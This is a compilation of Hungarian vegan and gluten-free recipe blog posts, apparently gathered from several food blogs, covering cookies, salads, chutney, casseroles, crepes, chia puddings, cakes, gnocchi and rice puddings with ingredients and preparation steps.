Már nem találom azt az angol oldalt, ahol véletlen rátaláltam erre a keksz receptre. Mindössze két hozzávalóval elkészíthető, a harmadik csak általam kiötlött plusz. Puha keksz lesz belőle, nem ropogós, viszont tömény kókuszos-banános finomság. Gluténmentes, vegán nasi.
A recept:
Hozzávalók:
- 15 dkg kókuszreszelék
- 2 nagyobb, érettebb banán (képen látni, mennyire barnás már a héja, ennyire érett banán a jó!)
- 12 áfonyaszem (opcionális)
Elkészítés:
A kókuszreszeléket kimérjük egy keverőtálba, a banánokat villával összenyomkodjuk, majd a kókuszreszelékhez kavarjuk. Jól átdolgozzuk, ezután golyókat formálunk a kezeinkkel. Aprónyi kókuszzsírral kikenjük a formákat, vagy egy tepsit sütőpapírral kibélelünk. A golyókat a formákban vagy a tepsiben villával laposra nyomjuk. Kedvünk szerint a tetejére tehetünk egy-egy áfonyaszemet. Kb. 10-15 perc alatt megsül (180 fokon). 10 perc után érdemes ellenőrizni. Majd ha látjuk, kicsit aranybarnás a széle, elkészült. Az egész elkészítése így nem tart tovább, mint 20 perc.
Ha vendégek jelentkeznek be és kevés időt akarunk tölteni a süteménykészítéssel és otthon sincs sokminden a hűtőnkben/éléskamránkban, amit fel tudnánk használni, frappáns recept és megoldás ez a keksz!
A saláta, amiben a gyümölcsök és a fűszerek örömtáncot járnak az ízlelőbimbóidon – vegán recept
Nagyon büszke vagyok erre a salátára, mert a hozzávalók nem szokványos párosítása olyan csodás összjátékot alkotott, hogy rögtön a kedvencemmé is vált, minden nap tudnék ilyet enni – legalábbis egy darabig. Úgy született, hogy a balkonkertben termesztett spenót elkezdett felmagosodni, és le kellett szüretelnem. Szedtem hozzá friss bazsalikomot és koriandert, amit az utóbbi időben nagyon megszerettem, pedig régen utáltam. Hozzávalók: 2 nagy marék spenót 1 marék bazsalikomlevél 1 kis marék korianderlevél és -szár 1 őszibarack 1 marék ribizli 5 centi zöldhagyma (most a fehér részt használtam) 1 marék sótlan földimogyoró 1 hintés (fekete) szezámmag A leveleket megmossuk, a koriandert daraboljuk. Az őszibarackot cikkekre vágjuk, a ribizlit leszedjük a száráról. A zöldhagymát felkarikázzuk. Az összes hozzávalót egy szép tálba tesszük. Öntet: 2 kávéskanál tetszőleges olaj, pl. máriatövismag-olaj 4 kávéskanál ecet, pl. rizsecet 1 kávéskanál barna nádcukor vagy kókuszcukor 1 csipet só 1 késhegynyi pirospaprika (csemege) 1 késhegynyi gyömbér Az ecetet a cukorral, sóval, fűszerekkel elkeverjük, majd hozzáadjuk az olajat, és a salátára öntjük. Jó étvágyat! The post A saláta, amiben a gyümölcsök és a fűszerek örömtáncot járnak az ízlelőbimbóidon – vegán recept appeared first on VegaNinja.
Kovászos uborka leves
Hozzávalók: 6-8 db kovászos uborka fél kk aszafoetida (vagy fokhagyma) 5 dl kovászos uborkalé 5 dl kókusztej (cukormentes) 2 ek olívaolaj 1 kk só 1 kk frissen facsart citromlé 1 ek aprított friss zöld kapor A kovászos uborkát beletesszük a turmixba, hozzáadjuk az aszafoetidát, a kókusztejet, az...
Kókuszos koriander chutney
2016. június 5. Élj harmóniában
A koriander jótékony hatásairól már korábban írtam (itt olvashatod) A koriandernek felhasználják a magját és a levelit is. A friss koriander levél igazi nyári csemege - télen itthon sajnos, csak a magot tudjuk használni. Indiában gyakran készítenek koriander chutney-t, mert kellemesen segít a testet hűvösebben tartani. Többféle recept alapján szoktam készíteni, ide a blogra ma egy igazi ájurvédikus receptet készítettem. hozzávalók 3 csésze friss koriander 1 csésze víz 1 csésze kókuszreszelék 1/2 kis zöld chilli összevágva vagy 1 pici szárított chili 2,5 cm-es friss gyömbér meghámozva és összevágva 1 ek ghí 1/2 tk római kömény 1/2 tk fekete mustármag 1 csipet hing (más néven aszafoetida) 4 curry levél (friss vagy szárított) 1/2 friss citrom 1/4 tk só Vegyszermentes (bio) alapanyagokat használj! Mosd meg a koriander leveleket és szedd le a szárakat. Tedd bele egy turmixba a vízzel, kókusszal, chillivel és gyömbérrel. Turmixold, amíg finom pasztát nem kapsz. Gyújts alá egy edénynek és tedd bele a ghít, majd pattogtasd ki benne a fekete mustármagot, tedd hozzá a római köményt, majd szórd bele a hinget és a curry leveleket. Hűtsd ki és keverd bele a koriander pasztába. Csavard ki a citrom levét és keverd bele ezt is a korianderes pasztába végül add hozzá a sót is. Hűtőben 2-3 napig tárolhatod.
Bulgursaláta avagy tabbouleh másképp
Ismeritek a bulgurt? Ez nem egy gabona fajta, hanem párolt/gőzölt, majd napon szárított durumbúza töret. A közel-keleti és török konyha kedvelt étele. Ha gyors köretre van szükség, akkor ez mindenképp jusson eszedbe. Édes és sós ételekhez is remekül passzol. Hasonlít a rizshez, de kicsit pergősebb az állaga. Nagyon jól átveszi az ízeket, ezért népszerűek a bulgurból készült saláták, zöldséggel és sok-sok zöldfűszerrel. Glutént tartalmaz. Annyira jó szakítani a hagyományos rizs-krumpli-tészta párostól, hiszen olyan sok csodás alapanyag van, amit nem fogyasztunk a mindennapokban. Bár a bulgur már kezd bekúszni egyes iskolai menzákra, a tarhonyát helyettesítik vele. Bár a lányaim még nem találkoztak vele. Nos, ez a saláta igazán gyors, frissítő és finom. Tökéletes köretnek, de önmagában, vacsorára is elég. A hagyományos tabbouleh-től egy kissé eltér, mert nem tettem bele uborkát és mentát. Bulgurból többfélét lehet vásárolni, van apróbb szemű, amelyet elég forrázni, és vannak nagyobbak is. Én a DM-ben vettem, erre ráfért úgy 10 perces főzés, majd 10 perces párolódás. Mindenképp tapasztaljátok ki a saját bulgurjaitokat. :D, hogy mikor lesz puha. Hozzávalók: - 1 csésze bulgur - 1 kis evőkanál kókuszolaj vagy bio vaj - 2 gerezd fokhagyma - 1 lilahagyma - 1 csokor petrezselyem - 2 kemény húsú paradicsom - himalája só, bors - friss citrom leve Elkészítése: - Egy edénybe tedd bele a kókuszolajat vagy a vajat és öntsd hozzá a bulgurt. Reszeld bele a fokhagymát. 1-2 perces összeforgatás után adj hozzá 2 csésze vizet. Fűszerezd. - Forrald fel, majd lassú lángon (lefedve) 10 perc alatt főzd meg. Vedd le a tűzről, és hagyd még lefedve úgy 10 percig. - Lazán forgasd át egy villával. - A lilahagymát én vékony csíkokra vágtam (de kockázhatod is), a paradicsomot pedig kis kockára. A petrezselymet is vágd apróra. - Mindent keverj a bulgurhoz, locsold meg pici citromlével.
Gluténmentes zöldségfasírt - sütőben sütve
2016. május 30. Élj harmóniában
Gluténmentes zöldségfasírt sütőben sütveN em olyan régen közzé tettem egy rántásmentes sárgaborsó főzeléket (itt olvashatod) és ígértem, amit készítettem hozzá a zöldségfasírtom annak a receptjét is felrakom majd a blogra.Ennek is eljött az ideje:) A zöldségfasírt nagyon népszerű még azok körében is, akik amúgy nem nagyon kedvelik a zöldséges ételeket. Lévén nem érzékelhető a zöldség állaga és jó fűszerezéssel fantasztikus ízhatásokat lehet elérni. Nem nagyon szeretek kisült ételeket készíteni, mert sok a macera a ghíben, vagy más zsiradékban sütéssel - fröcsköl, ott kell mellette állni, egyfajta szaggal jár, etc. Ezért amit csak lehet, én inkább a sütőben készítek el, tisztább, szagmentesebb és nekem is egyszerűbb, időt takarítok meg:) Mindemellett kevesebb zsiradékot tartalmaz az így készített zöldségfasírt. Ez a fasírt nagyon egyszerű és finom - a fűszerezést kedvedre tudod váltogatni magyaros, indiai, olaszos, etc. kombinációkkal. A csicseriborsólsizt és a zabpehely keveréke teljes értékű fehérjéhez juttatja a szervezetedet. Én reggelire is szoktam készíteni valamilyen szósszal vagy valamilyen körettel, zöldségekkel kiváló ebédnek vagy vacsorának, jó kirándulásokra útravalónak is. Hozzávalók 2 szál sárgarépa 2 kisebb cukkini 1 2 nagy ek. Zabpehely (gluténmentes diétánál gluténmentes zabpehely ) 12 nagy ek. csicseriborsóliszt 10 ek. víz 2 ek. ghí (kókuszzsírt vagy bármilyen zsiradékot használhatsz helyette) egy csipet aszafoetida ( egy kis apróra vágott hagymával tudod helyettesíteni) só bors kurkuma petrezselyem Vegyszermentes (bio) alapanyagokat használj! A répát és a cukkinit mosd meg és reszeld le vagy aprító géppel vágd apróra. A zöldségekhez keverd hozzá a zab pelyhet és a csicseriborsólisztet, majd a ghít és a fűszereket is. Végül tedd hozzá a vizet és hagyd állni néhány percig. Vegyél a kezedbe kis adagokat és formázz belőlük fasírtot. Helyezd a fasírtokat egy sütőpapírral bélelt tepsire és 180-200 fokra előmelegített sütő ben süsd készre. (kb. 30 perc) .
A legjobb vegán rakott krumpli recept, ami után mindenki megnyalja mind a 10 ujját
A rakott krumpli az egyik kedvenc vegán ételem. Elsőre lehetetlennek tűnt a vegán verzió kidolgozása ebből a csupa tejföl, csupa sajt, csupa tojás ételből, de sikerült megalkotni azt, amire még a mindenevő családtagjaim is azt mondták, jobb, mint az eredeti.
Hozzávalók:
1 kg krumpli
2 doboz rizstejszín (szója- vagy zabtejszín is lehet)
1 tömb natúr tofu
150 g növényi sajt
fél fej vöröshagyma karikázva
150-250 g (fél-egy rúd) gabonakolbász
fél gerezd fokhagyma (vagy fél kávéskanál fokhagyma-granulátum)
2 teáskanál fekete só
1 teáskanál kurkuma
nagyon kevés kókuszolaj a tepsi kikenéséhez
A tofut vágd kb. 1 centis lapokra. Egy akkora tálban, amiben kényelmesen elfér majd a tofu, az aprított fokhagymát, a kurkumát és a fekete sót keverd el egy deci vízzel. Kóstold meg, akkor lesz jó, ha nagyon sós és intenzív tojás íze van. Én erre a célra egy lezárható, műanyag, szögletes dobozt szoktam használni, mert ebben szuperül elfér a tofu.
A bekevert páclébe laponként tedd bele a tofut. Azért kell laponként, hogy közé menjen a páclé, és finom, főtt tojás íze legyen. Ha kevés lett a páclé, önts még hozzá annyi vizet, hogy ellepje a tofut, és hintsd meg még egy kis fekete sóval. Tedd a hűtőbe, hogy legalább egy órát álljon a pácban, de a legjobb ha még előző nap előkészíted, és egész éjszaka a hűtőben pácolódik.
A krumplit mosd meg alaposan, és héjában, sós vízben főzd meg, de ne teljesen omlósra, mert később még szeletelni kell. Ha héjában főzöd, finomabb. Ha megfőtt, hámozd meg, karikázd fel. Én 1 cm-es karikákra szoktam vágni.
A hagymát és a gabonakolbászt karikázd fel.
Fogj egy kb. 40×25 cm-es tepsit, vagy egy 30 cm átmérőjű jénai edényt, és vékonyan kend ki kókuszolajjal. Tegyél az aljára egy réteg krumplit, néhány karika hagymát (ha nem szereted hagymásan, ki is hagyhatod), sózd meg a réteget, majd mehet rá a pár szelet tofu, amit kézzel kisebb darabokra törsz. Néhány kolbászkarikával, és egy alapos rizstejszínlocsolással fejezd be ezt a réteget. Ez után jöhet még egy réteg krumpli, kevés hagyma, só, tofudarabkák, kolbászkarikák, végül a rizstejszín. Annyi réteget csinálj, amennyi elfér a tepsiben, és amivel felhasználod az összes alapanyagot. A végén egy bőséges rizstejszín adaggal locsold meg az ételt, és reszelt, vagy csíkokra vágott növényi sajttal borítsd be. Én sok sajttal szeretem, mert szépen ráolvad és ropogós, nyúlós réteg lesz.
A tepsit/jénait nem szükséges lefedni, hadd piruljon a sajt teteje, nagy lángon sütőben süsd aranybarnára (kb. 30-40 perc, de sütőtől is függ).
The post A legjobb vegán rakott krumpli recept, ami után mindenki megnyalja mind a 10 ujját appeared first on VegaNinja.
Vegán oreós palacsinta eperöntettel
Vegán oreós palacsinta. Ennél egyedibb ízű édességet elképzelni sem tudtam volna gyerekkoromban. Hát még friss eperből turmixolt eperöntettel nyakon öntve!
A palacsinta nekem valamiért örökzöld. Lehet édes, sós, rakott, tekert vagy háromszögbe hajtott, minden formában jöhet. A blogon van vegán rakott palacsinta és vegán brokkolis rakott palacsinta, most pedig házilag elkészített Oreo kekszes krémmel töltött palacsintát készítettem. Több helyről hallottam, hogy van vegán Oreo a boltokban, de én egy ideig ezzel az információval valahogy nem foglalkoztam, mert a reklámok és a csomagolás is arra engedett következtetni, hogy ez nem igaz. Aztán múlt héten feleségem hozott haza többfélét és megnéztem az összetevőket. A klasszikus Oreo valóban vegán a csomagolás szerint, a mogyoróvajas típus viszont már nem az. Mivel éppen palacsintát sütöttem, így nagy örömködésemben azon kezdtem el gondolkodni, hogyan készíthetnék oreóval töltött palacsintát.
Vegán oreós palacsinta eperöntettel, a hozzávalók
Tészta:
1kg liszt
1,5dl kókusz főzőkrém (ez bármi mással helyettesíthető, akár növényi tejjel is)
2 csomag vaníliás cukor
75g nádcukor
20g kókuszzsír
víz
csipet só
Töltelék és öntet:
32db Oreo keksz (nem mindegyik Oreo vegán barát, kérlek nézzétek meg figyelmesen az összetevőket)
1dl sűrű kókusztej (konzerv)
0,75kg friss eper
1 csomag vaníliás cukor
Vegán oreós palacsinta eperöntettel, az elkészítés
A palacsinta tésztát a következőképpen készítsd el. Az 1 kg lisztet keverd össze a két csomag vaníliás cukorral, a sóval és 75 g nádcukorral. A száraz keverékhez add hozzá a 1,5 dl főzőkrémet valamint a 20g felmelegített kókuszzsírt és hígítsd addig vízzel a nyers tésztát, míg kényelmesen meríthetővé nem válik. A Oreo kekszeket és az 1 dl kókusztejet tedd egy turmixgépbe és turmixold kenhető állagúvá. Amikor ezzel megvagy tedd félre a masszát.
Vegyél elő egy alacsony falú tálat és kend ki vékonyan az oreós masszával. Kókuszzsírral kenj ki egy palacsintasütőt majd állj neki a palacsintasütésnek. Minden palacsintát kenj meg vastagon a kenhető állagú oreós krémmel, majd helyezd a tálba egymás mellé. Amikor egy réteggel megvagy, vastag réteg Oreós krémmel kend meg a palacsintákat. Készíts még egy réteget az oeróval töltött palacsintákból, majd az új réteget is kend be egy réteg oreós krémmel.
Mikor a fentiekkel készen vagy turmixold össze nagyon kevés vízzel és az 1 csomag vaníliás cukorral az epret majd a turmixgépből öntsd a palacsinta tetejére a pép egy részét. Hagyd 1-2 órát állni a vegán oreós palacsintát, majd vágj egy szeletet, öntsd le az eperpép maradékának egy részével. Kedves egészségedre!
Reggelire fel! Málnás chia puding superfoodokkal (gluténmentes, laktózmentes, tojásmentes, nyers vegán)
Korábban már hoztam nektek a Zöld Avocado vegetáriánus gasztroblogon két gyönyörűszép és nagyon tápláló chia puding receptet. Egy csokis-kókuszos és egy szőlős chia reggelit. A recepteket itt találjátok. A mostani bejegyzésben egy "szuperételes" chia puding kerül az asztalra. Egy tálnyi "szuperegészség", szuper gyorsan, szuper finoman reggelire. málnás chia puding superfoodokkal (mindenmentes, nyers vegán) HOZZÁVALÓK (1 személyre) - 2 dl kókusztej ital - 1 db érett banán - 1 marék friss málna - 2 ek chia mag - 1 tk frissen darált lenmag - 2 ek kendermag - 1 marék natúr kesudió - 1 marék aszalt goji bogyó ELKÉSZÍTÉSA kókusztej italt a banánnal és a málnával összeturmixoljuk. Kitöltjük egy müzlistálba. Belekeverjük a lenmagot és a chia magot, majd félretesszük kb. 45 percre, hogy legyen ideje sűrűsödni, pudingosodni. Mielőtt elfogyasztanánk hozzá adjuk a kesudiót, a kendermagot és a goji bogyót. Most már kezdődhet a nap! ;-) málnás chia puding superfoodokkal (mindenmentes, nyers vegán) Táplálkozz, ne csak étkezz! Jó étvágyat! :-) MIÉRT NEVEZIK SUPERFOODOKNAK A HOZZÁVALÓKAT? A chia magról bővebben itt olvashatsz: http://www.originalchia.hu/tapanyagtartalom/ A kendermagról bővebben itt olvashatsz: http://ossejt-terapia.shp.hu/hpc/web.php... A lenmagról bővebben itt olvashatsz: http://hajraegeszseg.hu/cikk/2014-11-09/egyunk-lenmagot A kesudióról bővebben itt olvashatsz:http://napidoktor.hu/blog/termeszetesen/a-kesudio-15-elonye/ A kókusztejről bővebben itt olvashatsz: http://www.biocity.hu/b.../a-keleti-konyha-kincse-a-kokusztej/ A goji bogyóról bővebben itt olvashatsz:http://www.liciumgyumolcs.hu/tenyek.html A málnáról bővebben itt olvashatsz:http://veddamagyart.info/elelmi.../669-naponta-3x3-hazai-malna Az érett banánról bővebben itt olvashatsz: http://filantropikum.com/ezert-fogyasszunk-minel-tobb-barn.../
Epres torta, nemcsak szülinapra
A nagylányom májusban ünnepli a születésnapját, így a tortája minden évben a friss epertől roskadozik. Nem mintha bánná, mivel az egyik kedvenc gyümölcse az eper. Nemcsak azért esszük, mert számos jótékony hatása van, hanem egyszerűen azért, mert finom. :) Szerencsére van egy kis konyhakertünk, de anyósomtól is rendszeresen kapjuk a friss, szabadföldi epret. A tészta alapja a kedvenc kókuszos muffin, amely ennél a tortánál is jól debütált. :) A krémje egyszerű banán-datolyakrém, és a tetejéről sem hiányozhat egy jó kis eperzselé. Hozzávalók: Tészta: Csokis-kókuszos muffin, 22 cm-es tortaformában kisütve (a meggyet kihagytam belőle, csak a meggylé került bele) Csokis krém: - 5 banán - 15 dkg puha datolya - 2 evőkanál kakaópor - 4 evőkanál chiamag Eperzselé: - 50 dkg eper - 2 teáskanál agar-agar - késhegynyi vaníliapor + sok-sok eper Elkészítése: A tésztát süsd ki, és hagyd rácson kihűlni.Közben készítsd el a krémet. A datolyát áztasd be egy nagyon kevés vízben (éppen annyiban, hogy ellepje), majd hagyd állni úgy 1 órát. Persze, ez attól függ, hogy milyen száraz datolyát vásároltál.A banánt tedd egy késes konyhai gépbe, majd add hozzá a datolyát is. Szórd bele a kakaóport, és dolgozd krémesre. Ezután öntsd hozzá a chiamagot. Jól keverd össze.A tésztát tedd vissza a tortaformába. Pakold a tésztára a megmosott egész eperszemeket.Óvatosan tedd rá a csokikrémet úgy, hogy az eprek közé folyjon a csokikrém. Óvatosan meg is rázhatod, ütögetheted. A cél az, hogy az epret teljesen bevonja a csokis csoda.Ezután készítsd el az epres zselét. A megmosott epret botmixerezd össze, és tedd fel főni. Folyamatos keverés mellett szórd bele az agar-agart. 1-2 perces lassú főzés után hagyd langyosra hűlni. Mielőtt még összeállna, simítsd rá a csokikrémre.Néhány órára tedd be a hűtőbe.
Pirított gnocchi spárgával vagy amivel szeretnéd :)
Ne félj tőle, nem mumus a gnocchi készítése. Elő a krumplival és a liszttel... bizony... csak ennyi kell hozzá. Az első és a legfontosabb, hogy ne a vízben főzd meg a krumplit, hanem süsd meg héjastul, a sütőben. De ha mégsem szeretnéd a sütőt bekapcsolni, akkor vízben is megfőzheted, de hámozatlanul, egészben. Hozzávalók a gnocchihoz: - 0,5 kg burgonya - kb. 17dkg teljes kiőrlésű tönkölyliszt és fehér tönkölyliszt keveréke - himalája só, úgy 1 teáskanál mennyiség - bors, kevéske szerecsendió A pirításhoz, utómunkálatokhoz szükséges: - 1-1 evőkanál bio vaj és kókuszolaj - friss zsályalevél - 3-4 gerezd fokhagyma - 1 marék spenót - zsenge sprága vagy brokkoli - díszítéshez: paradicsom Elkészítése: A burgonyát héjastul süsd vagy főzd meg. Ha sütőben sütötted, akkor néhány percre tekerd be konyharuhába, hogy felpuhuljon a külseje. Ha főzted, akkor egyszerűen tedd a vágódeszkára.Hámozd/pucold meg, majd krumplinyomóval törd át. A szétterített krumplira szórd rá a liszt felét és fűszerezd.Az egészet lazán de gyors mozdulattal kezd összedolgozni. Fontos, hogy a burgonya ne legyen túlságosan forró, de ne is hűljön ki. Add hozzá a maradék lisztet is. Csak addig gyúrd, amíg nem áll össze.A kész tésztából vágj le egy darabot és lisztezett deszkán egy kis kukacot formázz belőle. Vágd fel kb. 2 centis darabokra, majd egy villa segítségével nyomd rá a bordázást.Közben tegyél fel vizet főni, amelybe dobj legalább 2 teáskanál sót.A megformázott gnocchikat addig főzd, amíg fel nem jönnek a víz tetejére, majd onnan további 1 percig. Egy nagy serpenyőben hevítsd fel a vaj-kókuszolaj keverékét, és ha már forró, tedd rá a kifőtt gnocchikat.Legalább 5 perces pirítás kell, amikor már látod, hogy kezd színe lenni. Ekkor mehet mellé egy kis friss zsályalevél, finomra vágott fokhagyma és a zsenge sprága. Még 2-3 perc, és a bébispenót is a gnocchit fogja díszíteni.Ekkor már csak fél percig pároljuk, épp csak addig, hogy a spenót összeessen.
Vegán bolognai spagetti
Sokféle húsmentes bolognai spagetti kering a neten. Van, amelyikben tofu, gomba vagy éppen lencse van. A hüvelyeseket elég sokszor használom hús helyettesítésére, így most is erre esett a választásom. Nyugodtan kipróbálhatod barna lencsével is, de nekem most volt egy adag főtt csicseriborsó a hűtőben, amit már mindenképp fel kellett használnom valamihez. Jó választás volt. :) Hozzávalók (2-3 adag): - 1 vöröshagyma - 1 evőkanál kókuszolaj - 3-4 gerezd fokhagyma - 1 közepes sárgarépa - 1 ujjnyi szelet zeller - 1/2 padlizsán - 1 bögre főtt csicseriborsó (barna lencsével is jó) - 3 szép nagy paradicsom pépesítve (vagy 2-3 dl paradicsomszósz) - 2 evőkanál aprószemű zabpehely - himalája só, bors, füstölt pirospaprika, bazsalikom, oregano, chili - 1 csomag gluténmentes spagetti tészta Elkészítése: - A kókuszolajon kezdd el dinsztelni a hagymát és a reszelt fokhagymát. - Ha van késes darálód, akkor a zöldségeket azzal könnyűszerrel morzsásra tudod varázsolni. - Ezeket add a hagymához, és pirítsd össze pár perc alatt. Közben sózd meg. - A főtt csicseriborsót is picit daráld meg, hogy ez is morzsás állagú legyen.Add hozzá a hagymás zöldségekhez. Öntsd mellé a paradicsompürét és legalább még 1 dl vizet.Fűszerezd. Kb. 20 perces főzésre van szükség.Ekkor add hozzá a zabpelyhet, ez jó zaftos állagot fog adni neki. Kb. 5-10 perc főzés, és készen is van.Bő, sós vízben főzzél ki kukorica spagettit, és tedd rá a bolognai szószt.
Vaníliás-epres chiapuding
Akiknek gyereke van, azok tudják, hogy mindig kell valami édesség. :) Persze, a boltban is lehet vásárolni, de ha jót akarunk adni gyermekünknek, akkor érdemesebb magunk készíteni. Sokszor időhiányban szenvedek :), ilyenkor jó szolgálatot tesz a chiamag. Remek puding készíthető belőle, az előkészület pedig mindössze 3-5 perc. Hozzávalók: - 2,5 dl kókusztej - 2,5 dl kókuszkrém - 1 banán - 3 szem datolya - fél rúd vanília - 4 evőkanál chiamag Elkészítése: - A kókusztejet és a krémet öntsük egy olyan edénybe, amelyben tudunk botmixerezni. Tegyük bele a puha datolyát és a banánt is. Dolgozzuk smoothie állagúra. Már így is finom, akár meg is iható. :)Tedd bele a chiamagot, jól keverd össze és tedd be a hűtőbe. Nyugodtan el is feledkezhetsz róla, de minimum 1 órát hagyd duzzadni a piciny magocskákat. Egy pohárba gyümölccsel rétegezd.
Quinoás müzli szelet csokiöntettel
Valami édességre vágytak a lányaim. Ilyenkor szétnézek a kamra mélyén, hogy milyen alapanyagokat tudnék felhasználni. Igazán finom müzli lett belőle, bár legközelebb teszek bele úgy 2 evőkanál darált arany lenmagot. De egy reszelt almával is megér egy próbát. :) A hűtőben jó az állaga, de szobahőmérsékleten kicsit morzsálódik. De csak ennyi baj legyen... így is elfogyott. :) Hozzávalók: - 20 dkg aprószemű zabpehely - 5 dkg zabliszt - csipet himalája só - 1/2 mokkáskanál vaníliapor (vagy fél rúd vanília kikapart belseje) - 10 dkg datolya - 1 banán - 10 dkg kókuszolaj - 10 dkg dió - 4 dkg puffasztott quinoa - 1/2 bio narancs reszelt héja (vagy 4-5 csepp narancsolaj) - 1 kisebb narancs leve Csokiöntet - nyers csokijó krémesre darált kesudió (vagy 1 evőkanál kesudiókrém), de mogyorókrémmel is el tudom képzelni :) Elkészítése: Először is melegítsük elő a sütőt, úgy 180C fokra. Egy tálban keverjük össze a zabpelyhet, a lisztet, a sót és a vaníliát.Tegyük aprítógépbe) a puha datolyát, a banánt és az olvasztott kókuszzsírt. Nyomjuk bele a narancs levét is. Pürésítsük simára. Öntsük ezt a keveréket a száraz hozzávalókhoz. Adjuk hozzá az aprított diót és puffasztott quinoát. Reszeljük bele a narancs héját is.Jól keverjük el. Öntsük bele a müzli keveréket a sütőformába, majd kézzel alaposan nyomkodjuk bele a formába. Süssük 180C fokon 20-25 percig, amíg aranybarna lesz a teteje, a széle kicsit megpirul.
Vegán csokoládétorta
Gondolkoztál már azon mennyivel könnyebb lenne úgy neki esni egy csokoládétortának, hogy tudod utána biztosan nem lesz bűntudatod? Ilyen a vegán csokoládétorta.
Olyan, amiből sokat ehetsz, mégse hízol, ami egészséges és még szuper finom is!
Ha engem kérdezel én régebben mindig is egy ilyen tortáról álmodoztam. Tudom egy kicsit fanatikus vagyok, de szerintem sokan vagyunk ezzel így akik szeretik az igazán finom csokit. A jó hír, hogy létezik ez a vegán csokoládétorta és a legnagyobb örömmel osztom meg most veled a receptjét, hogy te is részesülhess ebben a csodában ha csak pár percig is (Nálunk legalábbis eddig tartott). Egy torta mely testnek és léleknek egyaránt jót tesz, a szó legszorosabb értelmében.
Készítsétek, fogyasszátok, élvezzétek!
Vegán csokoládétorta hozzávalók
Vegán csokoládétorta tortaalap:
100 g kimagozott datolya
85 g mandula
25 g kókuszreszelék
1 ek. kakaópor
csipet só
Vegán csokoládétorta tortakrém:
85 g kesudió (előző este beáztatva. ha nagyon sietsz, forró vízbe áztasd 1-2 órára)
1 db banán
2-3 ek. juharszirup
2 ek. kakaópor
3 ek. kókuszzsír
1 dl kókusztejszín (magas zsírtartalmú)
125 ml/ fél csésze mogyoróvaj
Vegán csokoládéöntet:
1 ek. kakaópor
1 ek. olvasztott kókuszzsír
1/2 ek. juharszirup
Vegán csokoládétorta elkészítése:
- áztasd a datolyát kb. 15 percig forró vízbe, míg jól megpuhul. Eközben a mandulát daráld finomra. Add hozzá a megpuhult datolyát, a kakaóport, a sót, a kókuszreszeléket és keverd addig, amíg egy teljesen egynemű masszát kapsz.
- Egy 18 cm-es tortaformát bélelj ki zsírpapírral, majd az aljában egyenletesen terítsd szét a datolyás alapot.
- Egy tálkába öntsd bele a kókuszzsírt, a kókusztejszínt, a kakaóport, a juharszirupot, a mogyoróvajat és habverővel verd könnyű krémmé.
- Egy turmixgépbe öntsd bele a kapott krémet, a kesudiót és a banánt, majd pár percig magas fokozaton turmixold az összetevőket amíg teljesen egyneművé nem válik az csokoládés massza.
- Miután elkészültél öntsd a datolyás alaprétegre a masszát, majd kb. 4 óra hosszára tedd hűtőbe. Én az utolsó egy órára fagyasztóba szoktam tenni, így hamarabb készen van.
- A csokiöntethez a hozzávalókat egy tálkában összekeverem, majd a torta tetejére csorgatom. Díszítésnek még kakaóport, epret, pisztáciát és virágokat használtam.
Jó étvágyat!
Gyümölcsös kölespuding
Gyakran készítek a gyerekeimnek különböző desszerteket, amelyeket akár pudingnak is nevezhetünk. De ezek minden esetben valamilyen gabona alapúak, most éppen a kölesre esett a választásom. Szerencsére már megszokták ezeket az ízeket, állagokat... bár, nincs is más választásuk. :) Az agar-agar igazán jó állagot adott neki, olyan zselés lett, mintha valóban pudingot ettek volna. De mi is ez a furcsa nevű alapanyag? Ez egy természetes növényi zselésítő, a zselatin vegán változata. Tengeri vörösalgából készül. Kerülhet lekvárokba, dzsemekbe, gyümölcskocsonyába vagy éppen növényi joghurtba. Gumicukor és tortazselé is készülhet belőle. Ha színezni szeretnénk a zselét, eleve színes gyümölcslével keverjük ki, vagy a víz egy részét helyettesítsük pl. cukormentes szörppel. Hideg folyadékban kell feloldani, majd 2-3 percig forralni. Az agar-agar forrón híg, csak 40 fok körül sűrűsödik be. A zselésedési folyamat mindig megfordítható, bármikor felmelegíthető, újra szilárdítható. És most jöjjön a recept: Hozzávalók (4 adag): - 15 dkg köles - 7 dl rizstej - 1 dl meggylé - 1/2 rúd vanília - csipet himalája só - 2 evőkanál méz vagy kókuszcukor/juharszirup - 2 evőkanál aga-agar - kedvenc gyümölcsünk (nekem most erdei gyümölcs volt a fagyasztóban) Elkészítése: - A kölest jó alaposan mossuk át bő vízben.Egy száraz serpenyőben pirítsuk addig, hogy megszáradjanak a szemek. Érezni fogjuk az illatot, ami kimegy belőle.Öntsük fel a tejjel, tegyük bele a kikapart vaníliát a rudat is, és a sót.Kb. 15 perc alatt kellően megpuhulnak a szemek.Egy kevés vízben oldjuk fel az agar-agart, majd keverjük a kásához. 1-2 rottyantás elég neki.Vegyük le a tűzről, tegyük bele a mézet. Nekem éppen volt kioolvasztva meggy, így ennek a levét is beleöntöttem. Tegyük formába, és hagyjuk megdermedni.Gyümölcszselével vagy friss gyümölcspürével kínáljuk.
Fűszeres-gyümölcsös tejberizs
Szerda délutáni uzsonna volt a gyerekeknek.... akár dupla mennyiséget is készíthettem volna, mert még a kicsi lányomnak is kevés volt egy adag. Bármilyen gyümölccsel készíthetjük, most a fagyasztóból került bele erdei gyümölcsös és epres. De amint jön a szezonja, akkor frisset fogok beletenni. Hozzávalók: - 1 csésze rizotto- vagy tejrizs - 3 csésze rizstej - 1 rúd vanília - kb. 1,5 dl kókusztejszín - 2 evőkanál kókuszcukor vagy méz - 1 kávéskanál fahéj - pici kardamom Elkészítése: V astag aljú edénybe feltesszük a tejet a kikapart vaníliával, a többi fűszerrel és a rizzsel alacsony hőfokon főzni.Az első 10 percben magára hagyhatjuk, de utána mindenképp kevergessük.Amikor már puha a rizs, és kellően be is sűrűsödött, vegyük le a tűzről. Adjuk hozzá az édesítőszert (mézet vagy a kókuszcukrot) és a kókusztejszínt. De házilag készített mandulatejszín is jó hozzá.Egy pohárba rétegezzük kedvenc gyümölcsünkkel, amit előtte megszórtuk fahéjjal és pici kókuszcukorral.Ennek nem lesz az a megszokott fehér színe, hiszen a fahéj és a kókuszcukor is barnít rajta.
Bolondított brokkolileves
Mostanában nagyon divatosak a kókusztejjel ízesített zöldségkrémlevesek, sokszor látok ilyet reformétkezdékben, de még a kicsit is egzotikusabb ebéd menükben is. Sajnos előfordul, hogy ezek csak elriasztják az embereket a további kókuszos próbálkozásoktól, mert túl sok kókuszt használnak, pedig semmilyen ételnek nem tesz jót, ha valamelyik íz "kilóg".
